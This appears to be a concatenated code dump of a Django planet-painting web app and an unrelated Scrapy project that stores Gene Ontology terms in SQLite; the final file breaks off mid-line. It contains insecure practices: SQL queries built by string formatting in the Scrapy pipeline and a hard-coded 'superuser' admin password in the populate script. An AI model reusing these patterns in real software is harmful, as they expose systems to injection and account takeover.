'''Disallowed user names; may conflict with system pages.''' def name_validator(name: str): '''A Django validator for valid user/system/planet names''' must_not_match = '(?!' + '|'.join(DISALLOWED_NAMES) + ')' must_match = r'([A-Za-z0-9]+)' if not re.match(f'^{must_not_match}{must_match}$', name): raise ValidationError( 'Names should be alphanumeric, excluding some reserved words') def content_file_name(instance, filename): ext = filename.split('.')[-1] filename = f'{instance.username}.{ext}' return os.path.join('profile_images/', filename) # ======================== Models ============================================== class PlanetUser(AbstractUser): email = models.EmailField( verbose_name='email address', max_length=255) avatar = models.ImageField( upload_to=content_file_name, blank=True, null=True) REQUIRED_FIELDS = ['email'] username_validator = name_validator def __str__(self): return self.username @property def avatar_path(self): if self.avatar and hasattr(self.avatar, 'url'): logger.warning(self.avatar.url) return self.avatar.url class SolarSystem(models.Model): # An unique numeric id for each SolarSystem id = models.AutoField(null=False, primary_key=True) # foreign key to the owner user = models.ForeignKey(PlanetUser, on_delete=models.CASCADE) # The name of the SolarSystem name = models.CharField(null=False, max_length=50, validators=[name_validator]) # Description of the SolarSystem description = models.CharField(max_length=160) # Privacy setting of planet. Visibility True - visible to all users visibility = models.BooleanField(blank=False, default=True) # Score of the SolarSystem score = models.IntegerField(default=0) class Meta: # Disallow multiple solar systems with the same name from the same user unique_together = ('user', 'name') def save(self, *args, **kwargs): super().save(*args, **kwargs) def __str__(self) -> str: return self.name class Planet(models.Model): # The size of the textures to save (in pixels, should be power-of-two) TEXTURE_SIZE = 2048 # An unique numeric id for each planet id = models.AutoField(null=False, primary_key=True) # The name of the planet name = models.CharField(null=False, max_length=50, validators=[name_validator]) # foreign key to the owner user = models.ForeignKey(PlanetUser, on_delete=models.CASCADE) # foreign key to the solarsystem it belongs to solarSystem = models.ForeignKey(SolarSystem, on_delete=models.CASCADE) # The planet's texture (as painted by the user). texture = models.ImageField(null=False, upload_to='planets') # Privacy setting of planet. Visibility True - visible to all users visibility = models.BooleanField(blank=False, default=True) # Score of the planet score = models.IntegerField(default=0) class Meta: # Disallow multiple planets with the same name in the same solar system unique_together = ('solarSystem', 'name') def save(self, *args, **kwargs): # Overridden save() method that resizes the uploaded `texture` if required super().save(*args, **kwargs) with PIL.Image.open(self.texture.path) as pil_img: width, height = pil_img.size if width != self.TEXTURE_SIZE or height != self.TEXTURE_SIZE: # Rescale image to correct size and save logger.debug(f'Planet{self.id}: Image has wrong size {width}x{height},' f'resizing it to {self.TEXTURE_SIZE}x{self.TEXTURE_SIZE}') pil_img.resize( (self.TEXTURE_SIZE, self.TEXTURE_SIZE), resample=PIL.Image.BICUBIC) pil_img.save(self.texture.path, quality=90, optimize=True) def delete(self, *args, **kwargs): self.solarSystem.score -= self.score self.solarSystem.save() super().delete(*args, **kwargs) def __str__(self) -> str: return self.name class Comment(models.Model): # A list of (number, choice to show to the user) pair for ratings CHOICES = [(0, 'No rating')] + \ [(n, f'{"🟊" * n}{"☆" * (5 - n)}') for n in range(1, 6)] planet = models.ForeignKey(Planet, on_delete=models.CASCADE) user = models.ForeignKey(PlanetUser, on_delete=models.CASCADE) comment = models.CharField(max_length=200, null=False) rating = models.IntegerField(choices=CHOICES, null=False) class Meta: # Disallow multiple comments on a planet from the same user unique_together = ('planet', 'user') def save(self, *args, **kwargs): ''' Save the comment, recalculating the score of the parent planet and solar system as needed. ''' try: # Get the comment with our same primary key; it will be the previous # version of this comment, containing the previous rating prev_comment = Comment.objects.get(pk=self.pk) prev_rating = prev_comment.rating except Comment.DoesNotExist: # There was no previous comment; assume a previous value of 0 = no rating prev_rating = 0 #Add comment score to planet score self.planet.score += self.rating - prev_rating self.planet.save() #Add comment score to solar system score self.planet.solarSystem.score += self.rating - prev_rating self.planet.solarSystem.save() # Apply the changes to the DB row super().save(*args, **kwargs) return self def delete(self, *args, **kwargs): self.planet.score -= self.score self.planet.save() self.planet.solarSystem.score -= self.score self.planet.solarSystem.save() super().delete(*args, **kwargs) --- FILE SEPARATOR --- from django import template register = template.Library() '''Used to register custom template filters into.''' @register.filter(name='star_rating') def star_rating(rating: int) -> str: '''A custom template filter used to render a value 0-5 to a star rating string.''' if rating == 0: return 'No rating' elif rating > 5: return 'Invalid rating' else: return f'{"🟊" * rating}{"☆" * (5 - rating)}' --- FILE SEPARATOR --- from django.test import TestCase from planet.models import Planet, PlanetUser, SolarSystem, Comment from django.core.urlresolvers import reverse from populate_planet import generate_texture, populate class GeneralTests(TestCase): def test_about_using_base_template(self): #Base template used response = self.client.get(reverse('about')) self.assertTemplateUsed(response, 'planet/base.html') #Tests with manually created objects class DatabaseCreationTestCase (TestCase): def setUp(self): #Creator object PlanetUser.objects.create(username="Bob", password="Bob12345678", email="Bob@mail.com") #Rater object PlanetUser.objects.create(username="Anne", password="Anne12345678", email="Anne@mail.com") Bob = PlanetUser.objects.get(username="Bob") Anne = PlanetUser.objects.get(username="Anne") #Create solar system for Bob SolarSystem.objects.create(id = 456432, user = Bob, name = "BobsSystem", description = "For random patterns", score = 17) BobsSystem = SolarSystem.objects.get(id = 456432) #Create a test planet Planet.objects.create(id = 987, name = "Mars", user = Bob, solarSystem = BobsSystem, texture = generate_texture("bobs_texture"), score = 17) #Create a comment Comment.objects.create(planet = Planet.objects.get(id = 987), user = Anne, comment = "This looks interesting", rating = 4) def test_user_account_exists(self): Bob = PlanetUser.objects.get(username="Bob") self.assertEqual(Bob.username, "Bob") def test_system_exists(self): BobsSystem = SolarSystem.objects.get(id = 456432) self.assertEqual(BobsSystem.score, 17) #Default visibility applied self.assertEqual(BobsSystem.visibility, True) #Description saved self.assertNotEqual(BobsSystem.description, "") def test_planet_created(self): BobsPlanet = Planet.objects.get(id= 987) self.assertEqual(BobsPlanet.name, "Mars") def test_comment_created(self): self.assertEqual(Comment.objects.get(user = PlanetUser.objects.get(username="Anne")).rating, 4) def test_score_updated_after_comment(self): pass def test_leaderboard(self): response = self.client.get(reverse('leaderboard')) self.assertEqual(response.status_code, 200) #Planet in database reflected in leaderboard self.assertContains(response, "Mars") def test_search(self): response = self.client.get("/search/?query=ma") self.assertEqual(response.status_code, 200) #Search finds Mars for 'ma' self.assertContains(response, "Mars") self.assertContains(response, "BobsSystem") #Search does not find user Anne with search query 'ma' self.assertNotContains(response, "Anne") #Test if correct URL has been created and is accessible def test_planet_url(self): response = self.client.get("/Bob/BobsSystem/Mars", follow=True) self.assertEqual(response.status_code, 200) self.assertContains(response, "Created by") self.assertContains(response, "Please log in to leave a rating") #Tests with population script class PopulationScript(TestCase): #Running population script def setUp(self): try: populate(5) except ImportError: print('The module populate_rango does not exist') except NameError: print('The function populate() does not exist or is not correct') except: print('Something went wrong in the populate() function :-(') def test_search_after_populate(self): response = self.client.get("/search/?query=planet") self.assertEqual(response.status_code, 200) #Search for planets finds planets self.assertContains(response, "planet9") self.assertContains(response, "SolarSystem") #Search does not find moon self.assertNotContains(response, "Moon") def test_search_superuser(self): response = self.client.get("/search/?query=superuser") self.assertEqual(response.status_code, 200) #Superuser excluded from search self.assertNotContains(response, "superuser") def test_texture_images_in_userpage(self): response = self.client.get(reverse('home')) #Texture loaded for home page planet self.assertContains(response, '/media/planets/') --- FILE SEPARATOR --- from django.conf.urls import url from planet import views from django.conf import settings from django.conf.urls.static import static urlpatterns = [ url(r'^$', views.home, name='home'), url(r'^about/$', views.about, name='about'), url(r'^leaderboard/$', views.leaderboard, name='leaderboard'), url(r'^register/$', views.register, name='register'), url(r'^login/$', views.user_login, name='login'), url(r'^search/$', views.search, name='search'), url(r'^contact/', views.contact, name='contact'), url(r'^logout/$', views.user_logout, name='logout'), # /<username>/* url(r'^(?P<username>[A-Za-z0-9]+)/edit/$', views.edit_user, name='edit_user'), url(r'^(?P<username>[A-Za-z0-9]+)/delete/$', views.delete_user, name='delete_user'), url(r'^(?P<username>[A-Za-z0-9]+)/create-system/$', views.create_system, name='create_system'), url(r'^(?P<username>[A-Za-z0-9]+)/$', views.view_user, name='view_user'), # /<username>/<systemname>/* url(r'^(?P<username>[A-Za-z0-9]+)/(?P<systemname>[A-Za-z0-9]+)/create-planet/$', views.create_planet, name='create_planet'), url(r'^(?P<username>[A-Za-z0-9]+)/(?P<systemname>[A-Za-z0-9]+)/$', views.view_system, name='view_system'), url(r'^(?P<username>[A-Za-z0-9]+)/(?P<systemname>[A-Za-z0-9]+)/delete/$', views.delete_system, name='delete_system'), # /<username>/<systemname>/<planetname> url(r'^(?P<username>[A-Za-z0-9]+)/(?P<systemname>[A-Za-z0-9]+)/(?P<planetname>[A-Za-z0-9]+)/edit/$', views.edit_planet, name='edit_planet'), url(r'^(?P<username>[A-Za-z0-9]+)/(?P<systemname>[A-Za-z0-9]+)/(?P<planetname>[A-Za-z0-9]+)/$', views.view_planet, name='view_planet'), url(r'^(?P<username>[A-Za-z0-9]+)/(?P<systemname>[A-Za-z0-9]+)/(?P<planetname>[A-Za-z0-9]+)/delete/$', views.delete_planet, name='delete_planet'), ] --- FILE SEPARATOR --- import base64 import re import logging import os import functools from typing import List from django.shortcuts import render, reverse from django.http import HttpRequest, HttpResponse, HttpResponseBadRequest, HttpResponseForbidden ,HttpResponseNotFound from planet.webhose_search import run_query from planet.models import Planet, Comment, PlanetUser, SolarSystem from planet.forms import LoggingForm, RegistrationForm, CommentForm, SolarSystemForm, EditUserForm, LeaderboardForm, PlanetForm from django.contrib import messages, auth from django.shortcuts import redirect from django.contrib.auth.decorators import login_required from django.contrib.auth import logout from django.http import Http404 # ======================== Utilities =========================================== logger = logging.getLogger(__name__) # A utility logger HOST = 'http://wdp.pythonanywhere.com/' # The URL of the website when hosted. # Required for social media sharing buttons to work. def get_mvps(model: 'Model', criteria: str='-score') -> List: '''Gets the object[s] with the best `criteria` from the given model, excluding those that have `visibility=False`. ''' return model.objects.exclude(visibility=False).order_by(criteria) def render_error(request: HttpRequest, message: str) -> HttpResponse: '''Renders an error page with the given message.''' return render(request, 'planet/error.html', {'error': message}) def render_delete_page(request: HttpRequest, message: str, post_url: str) -> HttpResponse: '''Renders a "confirm deletion?" form that will show the given message and, if the user confirms the deletion, POST to `post_url`.''' return render(request, 'planet/delete.html', {'message': message, 'post_url': post_url}) # ======================== Views =============================================== def home(request: HttpRequest) -> HttpResponse: ''' Shows an index/landing page, showcasing the highest-scoring planet. GET: Renders the page. ''' mvp_planet = get_mvps(Planet)[0] context = { 'planet': mvp_planet, } return render(request, 'planet/home.html', context=context) def leaderboard(request: HttpRequest) -> HttpResponse: ''' Shows the leaderboard page, sorting all planets and systems by certain criteria. GET: Renders the page. POST: Posts the form used to choose the sorting method. ''' context = {} result = '-score' if request.method == 'POST': form = LeaderboardForm(request.POST) if form.is_valid(): result = form.cleaned_data['choice'] if result != "name": result = '-' + result else: form = LeaderboardForm() planets = get_mvps(Planet, result) solars = get_mvps(SolarSystem, result) context['form'] = form context['planets'] = planets context['solars'] = solars context['page'] = 'leaderboard' return render(request, 'planet/leaderboard.html',context= context) def view_user(request: HttpRequest, username: str) -> HttpResponse: ''' Shows the profile of the user named `username`. GET: Renders the page. ''' try: user = PlanetUser.objects.get(username=username) if user != request.user: planets = Planet.objects.filter(user__username=username, visibility=True) solar = SolarSystem.objects.filter(user__username=username, visibility=True) else: planets = Planet.objects.filter(user__username=username) solar = SolarSystem.objects.filter(user__username=username) except (PlanetUser.DoesNotExist,Planet.DoesNotExist,SolarSystem.DoesNotExist): raise Http404(username) context = { 'username': user, 'planets': planets, 'solars': solar, 'page': 'view' } return render(request, 'planet/view_user.html', context) @login_required def delete_user(request: HttpRequest, username: str) -> HttpResponse: ''' Deletes the currently logged-in user. Only a logged-in user is allowed to delete its own account, so `username` must match `request.user.username`. GET: Shows the "confirm deletion" form POST: Deletes the user, his planets, his solar systems and the planets in his solar systems (even if they are by other users). Returns an error if the name does not match. ''' try: if request.user.username != username: message = 'A hacker discovered you tried to get '+ username + ' killed and now threatens to blackmail you' return render_error(request, message) if request.method == 'GET': return render_delete_page(request, message=f'This will delete the user {username}, his solar systems ' 'and all planets in his solar systems (even if they are not his own). ' 'Are you sure?', post_url=reverse('delete_user', args=[username])) else: # POST u = PlanetUser.objects.get(username=request.user.username) planets = Planet.objects.filter(user__username=username) solars = SolarSystem.objects.filter(user__username=username) for planet in planets: planet.delete() for solar in solars: system_planet = Planet.objects.filter(solarSystem__id= solar.id) for planet in system_planet: planet.delete() solar.delete() if u.avatar: os.remove(u.avatar.path) u.delete() except Exception as e: message = 'A fleet of enemy has intercepted your message and refuses to surrender it\n So please try again' message += e return render_error(request, message) return redirect('home') @login_required def delete_system(request: HttpRequest, username: str, systemname: str) -> HttpResponse: ''' Deletes the current system. Only a logged-in user is allowed to delete its own system, so `solar.user.username` must match `request.user.username`. GET: Renders the "confirm deletion" page POST: Deletes his solar system and the planets in it ''' try: solar = SolarSystem.objects.get(name=systemname) if request.user.username != solar.user.username: message = 'You tried to destroy ' + systemname + ', but it\'s not yours >:(' return render_error(request, message) if request.method == 'GET': return render_delete_page(request, message=f'The solar system {systemname} will be deleted,' 'and all contained planets with it (even if they are not yours).' 'Are you sure?', post_url=reverse('delete_system', args=[username, systemname])) else: # POST planets = Planet.objects.filter(solarSystem__name=systemname) for planet in planets: planet.delete() solar.delete() except Exception as e: message = 'A fleet of enemy has intercepted your message and refuses to surrender it\n So please try again' #message += e return render_error(request, message) return redirect('home') @login_required def delete_planet(request: HttpRequest, username: str, systemname: str, planetname: str) -> HttpResponse: ''' Deletes the current planet. Only a logged-in user is allowed to delete its own planet, so `username` must match `request.user.username`. GET: Renders the "confirm deletion" form POST: Deletes the user, his planets, his solar systems and the planets in his solar systems (even if they are by other users). Returns an error if the name does not match. ''' try: planet = Planet.objects.get(name=planetname) if request.user.username != planet.user.username: message = 'A hacker discovered you tried to get ' + \ planetname + ' destroyed and now threatens to blackmail you' return render_error(request, message) if request.method == 'GET': return render_delete_page(request, message=f'This will delete the planet {planetname}, are you sure?', post_url=reverse('delete_planet', args=[username, systemname, planetname])) else: # POST planet.delete() except Exception as e: message = 'A fleet of enemy has intercepted your message and refuses to surrender it\n So please try again' #message += e return render_error(request, message) return redirect('home') @login_required def edit_user(request: HttpRequest, username: str) -> HttpResponse: ''' Edits the currently-logged-in user. Only a logged-in user is allowed to edit its own account, so `username` must match `request.user.username`. GET: Renders the editing form. POST: Apply the edits to `request.user`. ''' if username != request.user.username: return HttpResponseForbidden(f'You need to log in as {username} to edit his profile') if request.method == 'POST': form = EditUserForm(request.POST, request.FILES, user_id=request.user.id) if form.is_valid(): f = form.save() # Change only the data that was input by the user f.save() if(form.cleaned_data['username']): return redirect('view_user', form.cleaned_data['username']) else: return redirect('view_user' ,request.user.username) else: form = EditUserForm(user_id=request.user.id) context = { 'user_form': form, } return render(request, 'planet/edit_user.html', context) def view_system(request: HttpRequest, username: str, systemname: str) -> HttpResponse: ''' Renders some information and the list of planets contained in a solar system. The solar system should have been created by `username` and be named `systemname`. GET: Renders the page. ''' try: system = SolarSystem.objects.get(name=systemname, user__username=username) if request.user != system.user and not system.visibility: return render_error(request, 'This system is private') planets = Planet.objects.filter(solarSystem=system, visibility=True) if request.user.is_authenticated: planets = planets.union(Planet.objects.filter(solarSystem=system, visibility=False, user=request.user)) except SolarSystem.DoesNotExist: raise Http404() return render(request, 'planet/view_system.html', {'system': system, 'planets': planets }) def view_planet(request: HttpRequest, username: str, systemname: str, planetname: str) -> HttpResponse: ''' Renders a 3D view of a specific planet, with a form to post comments and ratings plus share the page. The planet should be named `planetname`, and have been created inside a system `systemname`. The system should have been created by `username`. GET: Renders `editor.html` in readonly mode; the camera can be rotated/zoomed but painting is not possible. Renders `comments.html` in read/write mode; comments can be posted. POST: Post the comment form. ''' try: planet = Planet.objects.get(name=planetname, solarSystem__user__username=username, solarSystem__name=systemname) solarSystem = planet.solarSystem except Planet.DoesNotExist: raise Http404() if planet.user != request.user and not planet.visibility: return render_error(request, 'This planet is private') context = { 'comments': Comment.objects.filter(planet=planet), 'planet': planet, 'this_page': HOST + request.path, # Required by social media buttons } if request.user.is_authenticated: # Display and handle comment form only if an user is logged in if request.method == 'POST': # POST: upload the posted comment form = CommentForm(request.POST) #If there is already a comment for this planet with this user name, modify existing comment preexisting = Comment.objects.filter(planet=planet, user=request.user) if preexisting.count() > 0: form.instance = preexisting[0] if form.is_valid(): comment = form.save(request.user,planet) comment.save() # Commit to DB. This will also modify the ratings for the parent solar system and planet. else: # GET: Display an empty comment form form = CommentForm() context['comment_form'] = form else: # No comment form for logged-out users context['comment_form'] = None return render(request, 'planet/view_planet.html', context=context) @login_required def edit_planet(request: HttpRequest, username: str, systemname: str, planetname: str) -> HttpResponse: ''' Renders a 3D editor for the given planet, allowing the user to paint it. The planet should be named `planetname`, and have been created inside a system `systemname`. The system should have been created by `username`. Only the logged-in user can edit his own planets. GET: Render editor.html in read + write mode POST: Post the modified planet texture (done via AJAX from editor.js) ''' try: planet = Planet.objects.get(name=planetname, solarSystem__user__username=username, solarSystem__name=systemname) except Planet.DoesNotExist: raise Http404() if planet.user != request.user: return HttpResponseForbidden(f'You must be logged in as {planet.user.username} to edit this planet!') if request.method == 'POST': # POST: upload the newly-edited image # Expects a {data: "<base64-encoded image from Canvas>"} in the POST request # FIXME(Paolo): Resize image if needed, reject wrongly-sized images! logger.debug(f'Planet{planet.id}: saving texture...') try: # See the AJAX request in editor.js:onSave() planet.texture.save(f'{planet.id}.jpg', request.FILES['texture']) planet.save() logger.debug(f'Planet{planet.id}: texture saved') return HttpResponse('saved') except Exception as e: logger.error(f'Planet{planet.id}: error saving texture: {repr(e)}') return HttpResponseBadRequest('error') else: # POST or GET: launch the editor context = { 'planet': planet, } return render(request, 'planet/edit_planet.html', context=context) def create_system(request: HttpRequest, username: str) -> HttpResponse: ''' Renders a form to create a new solar system. Only the logged-in user can create solar systems under his name. GET: Renders the creation form. POST: Validates the form and creates the new system if successful. ''' if request.user.username != username: return HttpResponseForbidden(f'You need to be logged in as {username}') if request.method == 'POST': form = SolarSystemForm(request.POST) if form.is_valid(): if SolarSystem.objects.filter(user=request.user, name=form.cleaned_data['name']).count() > 0: messages.error(request, 'You have already created a system with the same name') else: system = form.save(commit=False) system.user = request.user system.views = 0 system.save() return redirect('view_system', username=username, systemname=system.name) else: messages.error(request, '') print(form.errors) else: form = SolarSystemForm() return render(request, 'planet/create_system.html', {'form': form, 'username': username}) @login_required def create_planet(request: HttpRequest, username: str, systemname: str) -> HttpResponse: ''' Renders a form to create a new planet. Only the logged-in user can create a planet under his name, but he can create it under anyone's (public) solar systems. GET: Renders the creation form. POST: Validates the form and creates the new planet if successful. ''' if request.method == 'POST': form = PlanetForm(request.POST) if form.is_valid(): system = SolarSystem.objects.get(user__username=username, name=systemname) if Planet.objects.filter(solarSystem=system, name=form.cleaned_data['name']).count() > 0: messages.error(request, 'A planet with the same name already exists in the solar system') else: planet = form.save(commit=False) planet.user = request.user planet.solarSystem = system planet.texture = form.generate_texture(planet.name) planet.score = 0 planet.save() return redirect('view_planet', username=system.user.username, systemname=planet.solarSystem.name, planetname=planet.name) else: messages.error(request, 'Invalid input') print(form.errors) else: form = PlanetForm() return render(request, 'planet/create_planet.html', {'form': form, 'username': username, 'systemname': systemname}) def register(request: HttpRequest) -> HttpResponse: ''' Renders a form to register a new user. GET: Renders the form. POST: Validates the form and creates the new user if successful. ''' if request.method == 'POST': form = RegistrationForm(request.POST, request.FILES) if form.is_valid(): f = form.save(commit=False) f.save() username=form.cleaned_data['username'] password=form.cleaned_data['password'] user = auth.authenticate(username=username, password=password) auth.login(request, user) return redirect('home') else: form = RegistrationForm() return render(request, 'planet/register.html', {'user_form': form}) def user_login(request: HttpRequest) -> HttpResponse: ''' Renders a form used to handle user login. GET: Renders the form. POST: Validates the form and logs in the user if successful. ''' if request.method == 'POST': form = LoggingForm(request.POST) if form.is_valid(): username = form.clean_username() password = form.clean_password() user = auth.authenticate(username=username, password=password) if user: auth.login(request, user) return redirect('home') else: messages.error(request, 'Username and Password do not match') render(request, 'planet/user_login.html', {'user_form': form}) else: form = LoggingForm() return render(request, 'planet/user_login.html', {'user_form': form}) def search(request: HttpRequest) -> HttpResponse: ''' Searchs for users, systems or planets. The search query is in ?query= GET: Renders the search form. ''' planets, systems, users = run_query(request.GET['query'].strip()) context = { 'planets': planets, 'systems': systems, 'users': users, } return render(request, 'planet/search.html', context=context) @login_required def user_logout(request): ''' Logs out the currently logged-in user and redirects them to the homepage. ''' # Since we know the user is logged in, we can now just log them out. logout(request) # Take the user back to the homepage. return redirect('home') def about(request): ''' GET: Renders the about page. ''' return render(request, 'planet/about.html') def contact(request): ''' GET: Renders the contact page. ''' return render(request, 'planet/contact.html') --- FILE SEPARATOR --- import os import django from planet.models import Planet, SolarSystem, PlanetUser from typing import Iterable, Tuple def run_query(search_terms: Iterable[str], count: int = 100) -> Tuple: # Find planets that are visible and contain search term in their name found_planets = Planet.objects.all().exclude( visibility=False).filter(name__contains=search_terms) # Find solar systems that with search term in the name found_systems = SolarSystem.objects.all().exclude( visibility=False).filter(name__contains=search_terms) # Find search term in solar system description system_descriptions = SolarSystem.objects.all().exclude( visibility=False).filter(description__contains=search_terms) # Find matching user names, except super user found_users = PlanetUser.objects.all().exclude( username="superuser").filter(username__contains=search_terms) # Combine solar systems name and description and remove duplicates found_systems.union(system_descriptions).distinct() return found_planets, found_systems, found_users --- FILE SEPARATOR --- #!/usr/bin/env python3 import random import string from PIL import Image, ImageDraw import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "WadThePlanet.settings") import django django.setup() from planet.models import PlanetUser, Planet, SolarSystem,Comment #Copy the files over to the media destination #to avoid deleting pictures when deleting database import shutil self_path = os.path.abspath(os.path.dirname(__file__)) src = os.path.join(self_path,'_populationmedia/') dest = os.path.join(self_path,'media/planets/') src_files = os.listdir(src) for file_name in src_files: full_file_name = os.path.join(src, file_name) if (os.path.isfile(full_file_name)): shutil.copy(full_file_name, dest) def populate_old(): planets1 = [{"name": "planet1", "texture": 'planets/texture1.jpeg'}, {"name": "planet2", "texture": 'planets/texture2.jpeg'}, ] planets2 = [{"name": "planet3", "texture": 'planets/texture3.jpeg'}, ] planets3 = [{"name": "planet4", "texture": 'planets/texture4.jpeg'}, ] moon = [{"name": "Moon", "texture": 'planets/texture1.jpeg', } ] SolarSystem1 = [{ "name": "FirstSolarSystem", "description": "Cool solarsys", "planets": planets1, }, ] SolarSystem2 = [{ "name": "SecondSolarSystem", "description": "Cooler solarsys", "planets": planets2, }, ] SolarSystem3 = [{ "name": "ThirdSolarSystem", "description": "Coolest solarsys", "planets": planets3, }, ] HiddenSystem = [{ "name": "hiddenSolarSystem", "description": "Cannot find in search", "planets": moon, }, ] users = {"geirtyy": {"solarSys": SolarSystem1}, "petter": {"solarSys": SolarSystem2}, "evatyy": {"solarSys": SolarSystem3}, "crowtyy": {"solarSys": HiddenSystem}, } #populate the database for user, solarsystems in users.items(): u = add_user(user) for solarsystem in solarsystems["solarSys"]: s = add_solarSys( u, solarsystem["name"], solarsystem["description"]) for planet in solarsystem["planets"]: add_planet(planet["name"], u, s, planet["texture"]) create_super_user("superuser") def populate(number): self_dir = os.path.abspath(os.path.dirname(__file__)) os.makedirs(os.path.join(self_dir, 'media', 'planets'), exist_ok=True) print("Generating manual User") populate_old() counter = 5 userLs = [] planetLs = [] for t in range(number): username = "".join(random.choice(string.ascii_lowercase) for i in range(6,15)) print("Generating Solar systems and planet for user : " + username) u = add_user(username) userLs.append(u) for i in range(random.randint(2,5)): SolarSystemName = "SolarSystem"+str(counter) SolarSystemDescription = "" for j in range(1,16): SolarSystemDescription += " " + "".join(random.choice(string.ascii_lowercase) for i in range(random.randint(2,10))) s = add_solarSys(u, SolarSystemName, SolarSystemDescription) for planet in range(random.randint(2,5)): planetName = "planet"+str(counter) counter+=1 planet_object = add_planet(planetName, u, s, generate_texture(planetName),counter%20!=0) planetLs.append(planet_object) for people in userLs: commenting = random.randint(1,10) for planet in planetLs: if random.randint(0,5) % commenting == 0: print(people.username + "is commenting on " + planet.name) add_comment(people, planet) def generate_texture(name): img = Image.new('RGB', (2048, 2048), ( random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))) draw = ImageDraw.Draw(img) draw.rectangle((random.randint(0, 2048), random.randint(0, 2048), random.randint( 0, 2048), random.randint(0, 2048)), fill=( random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))) draw.pieslice((random.randint(0, 2048), random.randint(0, 2048), random.randint( 0, 2048), random.randint(0, 2048)), random.randint(0, 360), random.randint(0, 360), fill=( random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))) draw.ellipse((random.randint(0, 2048), random.randint(0, 2048), random.randint( 0, 2048), random.randint(0, 2048)), fill=( random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))) pos = [] for i in range(random.randint(3,10)): pos.append((random.randint(0, 2048), random.randint(0, 2048))) draw.polygon(pos, fill=( random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))) rel_path = 'planets/'+name+'.png' abs_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'media', rel_path) if os.path.exists(abs_path): os.unlink(abs_path) img.save(abs_path,'JPEG') return rel_path # Otherwise weird things may happen #helper functions def add_user(username): email = str(username + "@hotmail.com") password = "".join(random.choice(string.ascii_lowercase) for i in range(10)) user = PlanetUser.objects.get_or_create(username=username, password=password,email=email)[0] user.save() return user def add_planet(name, user, solarSys, texture, visibility=True): planet = Planet.objects.get_or_create(name=name, user=user,solarSystem=solarSys,texture=texture)[0] planet.visibility = visibility planet.save() return planet def add_solarSys(user, name, description='', score=0): solarSys = SolarSystem.objects.get_or_create(user=user, name=name)[0] solarSys.description = description solarSys.score = score solarSys.save() return solarSys def add_comment(user,planet): comment = Comment.objects.create(user=user,planet=planet,comment="abc",rating=1) comment.comment = "".join(random.choice( string.ascii_lowercase) for i in range(10)) comment.rating = random.randint(1,5) comment.save() return comment def create_super_user(username): email = str(username + "@hotmail.com") u = PlanetUser.objects.create_superuser(username=username, email=email, password="superuser") #start execution here if __name__ == '__main__': populate(5)
[ "/planet/admin.py", "/planet/forms.py", "/planet/models.py", "/planet/templatetags/wdp_tags.py", "/planet/tests.py", "/planet/urls.py", "/planet/views.py", "/planet/webhose_search.py", "/populate_planet.py" ]
0CBH0/Gocollection
# -*- coding:utf-8 -*- import pandas, re, csv class GoNode: Level = 0 Relation= '' ID = '' Description = '' def __init__(self, lv=0, rel='', id='', desc=''): self.Level = lv self.Relation = rel self.ID = id self.Description = desc class GoTerm: term = '' par= [] son = [] def __init__(self, term='', par=[], son=[]): self.term = term self.par = par self.son = son def getTerms(): goTermDic = {} fcsv = pandas.read_csv('goTerms.csv', index_col = 0) # round one for index, row in fcsv.iterrows(): if re.match('GO:[0-9]+', index) == None: continue goTerm = GoTerm(index, [], []) tree = [] selfLevel = 0 for term in row['TreeView'].split(' || '): nodeInfo = term.split(' // ') if re.match('GO:[0-9]+', nodeInfo[2]) == None: continue if nodeInfo[2] == index: selfLevel = int(nodeInfo[0]) tree.append(GoNode(int(nodeInfo[0]), nodeInfo[1], nodeInfo[2], '')) for node in tree: if node.Level < selfLevel: goTerm.par.append(node.ID) elif node.Level > selfLevel: goTerm.son.append(node.ID) goTermDic[index] = goTerm # round two for key, value in goTermDic.items(): for term in value.par: goTermDic[term].son.append(key) for term in value.son: if term in goTermDic: goTermDic[term].par.append(key) for key in goTermDic.keys(): goTermDic[key].par = list(set(goTermDic[key].par)) goTermDic[key].son = list(set(goTermDic[key].son)) return goTermDic if __name__ == '__main__': fcsv = open("GODAG.csv", "w", newline = '') fw = csv.writer(fcsv) fw.writerow(["term", "par", "son"]) goTermDic = getTerms() for key, value in goTermDic.items(): par = '' son = '' for term in value.par: if term == key: print('par error at', key) par += ' || ' + term for term in value.son: if term == key: print('son error at', key) son += ' || ' + term fw.writerow([key, par[4:], son[4:]]) fcsv.close() --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # https://docs.scrapy.org/en/latest/topics/items.html import scrapy class GoNode: Level = 0 Relation= '' ID = '' Description = '' def __init__(self, lv=0, rel='', id='', desc=''): self.Level = lv self.Relation = rel self.ID = id self.Description = desc class GocollectionItem(scrapy.Item): # Primary fields Accession = scrapy.Field() Name = scrapy.Field() Ontology = scrapy.Field() Synonyms = scrapy.Field() Alternate_IDs = scrapy.Field() Definition = scrapy.Field() Comment = scrapy.Field() TreeView = scrapy.Field() # Info fields # Project = scrapy.Field() # Spider = scrapy.Field() # Server = scrapy.Field() URL = scrapy.Field() Date = scrapy.Field() --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from scrapy import signals import sqlite3 import time import re class Sqlite3Pipeline(object): def __init__(self, update_time, sqlite_file, sqlite_table): self.update_time = update_time self.sqlite_file = sqlite_file self.sqlite_table = sqlite_table @classmethod def from_crawler(cls, crawler): return cls(update_time = crawler.settings.get('UPDATE_TIME'), sqlite_file = crawler.settings.get('SQLITE_FILE'), sqlite_table = crawler.settings.get('SQLITE_TABLE', 'items')) def open_spider(self, spider): self.conn = sqlite3.connect(self.sqlite_file) self.cur = self.conn.cursor() def close_spider(self, spider): self.cur.close() self.conn.close() def process_item(self, item, spider): result = '' select_sql = 'SELECT Date FROM {0} WHERE Accession == \'{1}\''.format(self.sqlite_table, item['Accession']) self.cur.execute(select_sql) res = self.cur.fetchall() if len(res) == 0: for term in item.fields.keys(): result += ', ' + '\'' + item[term].replace('\'', '\'\'') + '\'' result = result[2:] insert_sql = 'INSERT INTO {0} ({1}) VALUES ({2})'.format(self.sqlite_table, ', '.join(item.fields.keys()), result) self.cur.execute(insert_sql) self.conn.commit() else: time_ori = time.mktime(time.strptime(res[0][0].encode('utf-8','replace'), "%Y-%m-%d %H:%M:%S")) time_new = 